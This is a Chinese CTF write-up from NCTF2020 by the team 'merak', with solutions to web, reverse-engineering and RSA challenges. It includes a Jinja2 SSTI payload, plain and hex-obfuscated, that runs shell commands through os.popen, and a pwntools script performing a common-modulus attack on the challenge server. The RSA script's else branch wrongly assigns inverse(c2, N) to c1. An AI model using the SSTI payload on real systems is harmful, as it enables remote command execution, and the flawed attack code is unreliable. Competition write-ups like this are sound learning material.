NCTF2020 By merak

[toc]

web

你就是我的master吗

SSTI注入

```
name={{""["__class__"]["__base__"]["__subclasses__"]()[371]["__init__"]
["__globals__"]["__builtins__"]["eval"]("__import__("os")")["popen"]("cat *")
["read"]()}}
```

encodeURI之后：

```
name={{%22%22[%22\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%22]
[%22\x5F\x5F\x62\x61\x73\x65\x5F\x5F%22]
[%22\x5F\x5F\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5F\x5F%22]()[371]
[%22\x5F\x5F\x69\x6e\x69\x74\x5F\x5F%22]
[%22\x5F\x5F\x67\x6c\x6f\x62\x61\x6c\x73\x5F\x5F%22]
[%22\x5F\x5F\x62\x75\x69\x6c\x74\x69\x6e\x73\x5F\x5F%22]
[%22\x65\x76\x61\x6c%22](%22\x5F\x5Fimport\x5F\x5F(\"os\")%22)
[%22\x70\x6f\x70\x65\x6e%22]("ls")["read"]()}}
```

Re

re1

```
#include <stdio.h>
unsigned char __cdecl sub_4014D0(unsigned char a1, char a2);
int main()
{
    int i,j,k;
    int tmp;
    char s[]="nctf";
    unsigned char ida_chars[] =
{
  0xC6, 0x6A, 0xC0, 0x27, 0xEB, 0xCA, 0x65, 0x02, 0x61, 0xCA,
  0x68, 0x27, 0x6B, 0xE2, 0xC0, 0xE0, 0x00, 0x80, 0x22, 0x27,
  0xE1, 0xA1, 0x02, 0x27, 0x63, 0x4B, 0xA8, 0xE3
};
for(j=0;j<28;j++){
    for(i=0;i<=255;i++){
        tmp=sub_4014D0(i,s[j%4]);
        if(tmp==ida_chars[j])
            printf("%c",i);

    }

}
return 0;


}

unsigned char __cdecl sub_4014D0(unsigned char a1, char a2)
{
  int v2; // ST07_1

  v2 = (~a2 | ~a1) & (~a2 | a1) & (a2 | a1) | (~a2 | ~a1) & (a2 | ~a1) & a2 &
a1 | a2 & ~a1 | ~a2 & a1;
  return (~(32 * v2) | ~(v2 >> 3)) & (~(32 * v2) | (v2 >> 3)) & (32 * v2 | (v2
>> 3)) | (~(32 * v2) | ~(v2 >> 3)) & (32 * v2 | ~(v2 >> 3)) & (32 * v2 | (v2 >>
3));
}
```

re2

//动调发现换表和换加密字符串

```
#include <stdio.h>

int main(){
unsigned char ida_chars[] =
{
  0x1D, 0x01, 0x0D, 0x14, 0x47, 0x69, 0x61, 0x64, 0x04, 0x28,
  0x37, 0x54, 0x43, 0x06, 0x71, 0x7A, 0x03, 0x0C, 0x47, 0x2F,
  0x5D, 0x79, 0x5F, 0x51, 0x04, 0x00, 0x1D, 0x01, 0x58, 0x7D,
  0x04, 0x63, 0x04, 0x5B, 0x42, 0x07, 0x55, 0x46, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00
};
unsigned char ms[] =
{
  0x6E, 0x63, 0x74, 0x66, 0x32, 0x30, 0x32, 0x30, 0x00
};
    int j=0;
    for(j=0;j<64;j++){
        ida_chars[j]=ida_chars[j]^ms[j%8];
    }
    for ( j = 0; j < 64; j++)
    {
        printf("%c",ida_chars[j]);
    }


}
```

得到sbyruYSTjKC2q6CJmo3IoImajcigjM6Sj86agv20nctf2020nctf2020nctf2020
直接换表解base64

```
import base64
import string
#re0

str1='sbyruYSTjKC2q6CJmo3IoImajcigjM6Sj86agv20nctf2020nctf2020nctf2020'

string1 = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
```

re4

Exeinfo PE打开exe发现有壳，并且打开时提示decode_shell.pdb，得知exe有壳。
题目提示“运行时关闭ida od”，所以先将ida和od关闭后打开exe，再用PE Tools选择exe进程Dump，从而获得脱壳后的exe。
用IDA打开，先复现一次加密函数(代码中的encode)，发现(tmp[v1] | v1) & ~(tmp[v1] & v1)为异或运算，反运算后得到flag

```
byte_B731E8 = [
  0xA3, 0x4D, 0x44, 0x7F, 0x53, 0xD6, 0xE9, 0x88, 0x4D, 0x95,
  0x1A, 0x72, 0x01, 0x3C, 0x71, 0x00, 0xE8, 0xCE, 0xA1, 0xF8,
  0x51, 0x48, 0xF5, 0xE9, 0x6A, 0x02, 0x27, 0xD8, 0x96, 0x7F,
  0x72, 0xD6, 0xF1, 0xE9, 0x9F, 0xC6, 0x5D, 0x60, 0xE4, 0x10,
  0x64, 0x99, 0xA0, 0x00
]

Dst = [
  0x70, 0xDA, 0x19, 0xB3, 0x76, 0x8C, 0x66, 0x69, 0x28, 0xC7,
  0xD0, 0x1B, 0x11, 0x77, 0x94, 0xA2, 0x92, 0x1C, 0x51, 0xA3,
  0x4A, 0xC4, 0xAB, 0xF8, 0xAA, 0x2F, 0xE9, 0x3B, 0x95, 0x84,
  0xEE, 0xCD, 0x55, 0xCB, 0xC1, 0x99, 0xE4, 0xA4, 0x7A, 0x4E,
  0xE1, 0x9A, 0x89, 0xC3, 0xF9, 0x41, 0x34, 0x13, 0x57, 0xE5,
  0xBB, 0x05, 0x64, 0xC5, 0x5C, 0xB7, 0xBF, 0x79, 0x31, 0x26,
  0x47, 0x86, 0x1F, 0xD3, 0xA1, 0xF2, 0xE2, 0x3D, 0x9D, 0xDF,
  0x43, 0xE7, 0xF4, 0xA6, 0x67, 0xFD, 0xC9, 0x78, 0x00, 0x98,
  0x58, 0x8E, 0xA8, 0xD2, 0xFC, 0x71, 0x6A, 0xC2, 0xF0, 0xB2,
  0x0A, 0x6E, 0xBC, 0x6D, 0x48, 0xB8, 0xD8, 0x0E, 0x49, 0x1D,
  0x6F, 0xAD, 0x74, 0x91, 0xC6, 0x1E, 0x59, 0x82, 0x45, 0x2B,
  0x46, 0xAF, 0x0B, 0xD5, 0x5D, 0x17, 0x8D, 0x6B, 0xB4, 0xDB,
  0xB9, 0x09, 0x01, 0xBD, 0xEF, 0x7E, 0x6C, 0x23, 0x65, 0x97,
  0x96, 0x72, 0x02, 0x33, 0x3C, 0xB6, 0x53, 0x27, 0x32, 0x24,
  0x3E, 0xF3, 0x8B, 0xEA, 0x1A, 0xA9, 0x2C, 0xED, 0xD1, 0x56,
  0x18, 0x38, 0x75, 0x52, 0xF7, 0x88, 0x0F, 0xF6, 0x20, 0xE0,
  0x50, 0x5F, 0xD9, 0x9C, 0x5A, 0x5E, 0xD6, 0x2D, 0x06, 0x63,
  0xFE, 0xBA, 0x35, 0xCC, 0xD7, 0x9E, 0xFB, 0x2A, 0x0C, 0xB1,
  0x25, 0x44, 0x87, 0xF5, 0xFA, 0x8A, 0x40, 0xCF, 0x7D, 0xB5,
  0x04, 0xC8, 0x60, 0xDC, 0x4D, 0xE3, 0xB0, 0xD4, 0x3F, 0x9B,
  0xE8, 0x62, 0xC0, 0xA7, 0xA0, 0x21, 0x4B, 0x4C, 0x7F, 0x2E,
  0xEC, 0xCE, 0xDD, 0x03, 0xFF, 0xDE, 0xCA, 0x22, 0x5B, 0x29,
  0xF1, 0x39, 0x80, 0x9F, 0x73, 0x42, 0xA5, 0x90, 0x10, 0x0D,
  0x81, 0x15, 0xEB, 0x8F, 0x4F, 0x61, 0x54, 0x7C, 0x93, 0x36,
  0xAC, 0x68, 0x3A, 0x85, 0x16, 0xE6, 0x7B, 0xBE, 0x30, 0x08,
  0x83, 0x37, 0x14, 0x12, 0xAE, 0x07, 0xB9, 0x85, 0xEC, 0xC2,
  0xC4, 0xFC, 0xA1, 0x02, 0x59, 0x63, 0x75, 0x76, 0x00, 0x00,
  0x00, 0x00, 0x40, 0x63, 0x75, 0x76, 0x20, 0xFD, 0xA1, 0x02,
  0x44, 0x89, 0x4F, 0x77, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xE3,
  0x51, 0xC6
]


def encode(text):
    tmp = [data+1 for data in text];v5 = 0;v6 = 0;v7 = 0;
    while True:
        v5 = (v5 + 1) % 256;
        v8 = Dst[v5];
        v6 = (v8 + v6) % 256;
        Dst[v5] = Dst[v6];
        Dst[v6] = v8;
        tmp[v7] ^= Dst[(v8 + Dst[v5])&0xFF];
```

```
        v7 += 1;
        if v7 >= 0x2B: break
    v1 = 0;
    while True:
        v2 = (tmp[v1] | v1) & ~(tmp[v1] & v1);
        tmp[v1] = v2;
        v1 += 1
        if v1 >= 43: break
    return tmp

def decode(text):
    encode_dict = []; v5 = 0;v6 = 0;v7 = 0;
    while True:
        v5 = (v5 + 1) % 256;
        v8 = Dst[v5];
        v6 = (v8 + v6) % 256;
        Dst[v5] = Dst[v6];
        Dst[v6] = v8;
        encode_dict.append(Dst[(v8 + Dst[v5])&0xFF]);
        v7 += 1;
        if v7 >= 0x2B: break

    tmp = [text[i]^i for i in range(len(text))]
    v7 = 0x2B-1;
    while True:
        tmp[v7] ^= encode_dict[v7];
        v7 -= 1;
        if v7 == 0: break
    return tmp

print("".join([chr(data) for data in decode(byte_B731E8)]))
```

Crypto

RRSA

在获取新公钥时N不变，而且不限制获取密文的次数，可以用共模攻击

```
from pwn import *
from hashlib import sha256
import itertools as its
from Crypto.Util.number import *
import gmpy2
import binascii

host, port = '42.192.180.50', 30002
p = remote(host, port)

# proof_of_work
_pow = p.recvuntil('\n').decode()
salt = _pow[12:28]
```

```
_sha = _pow[33:-1]
words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
r = its.product(words, repeat=4)
for i in r:
    sha = sha256((''.join(i) + salt).encode())
    if sha.hexdigest() == _sha:
        print('find ' + ''.join(i))
        p.sendline(''.join(i))
        break

# get e1,n
_EN = p.recvuntil('\n').decode()
e1, N = _EN[28:-1].split(',')
e1, N = int(e1), int(N)

# get c1
p.recvuntil('exit\n')
p.sendline('4')
c1 = int(p.recvuntil('\n').decode()[21:-1])

# get e2
p.recvuntil('exit\n')
p.sendline('3')
_EN = p.recvuntil('\n').decode()
e2 = int(_EN[31:-1].split(',')[0])

# get c2
p.recvuntil('exit\n')
p.sendline('4')
c2 = int(p.recvuntil('\n').decode()[21:-1])

# same mod attack
s0, s1, s2 = gmpy2.gcdext(e1, e2)
if s0 == 1:
    if s1 < 0:
        s1 *= -1
        c1 = inverse(c1, N)
    else:
        s2 *= -1
        c1 = inverse(c2, N)
    m = pow(c1, s1, N)*pow(c2, s2, N) % N
    print((binascii.a2b_hex(hex(m)[2:])).decode())
```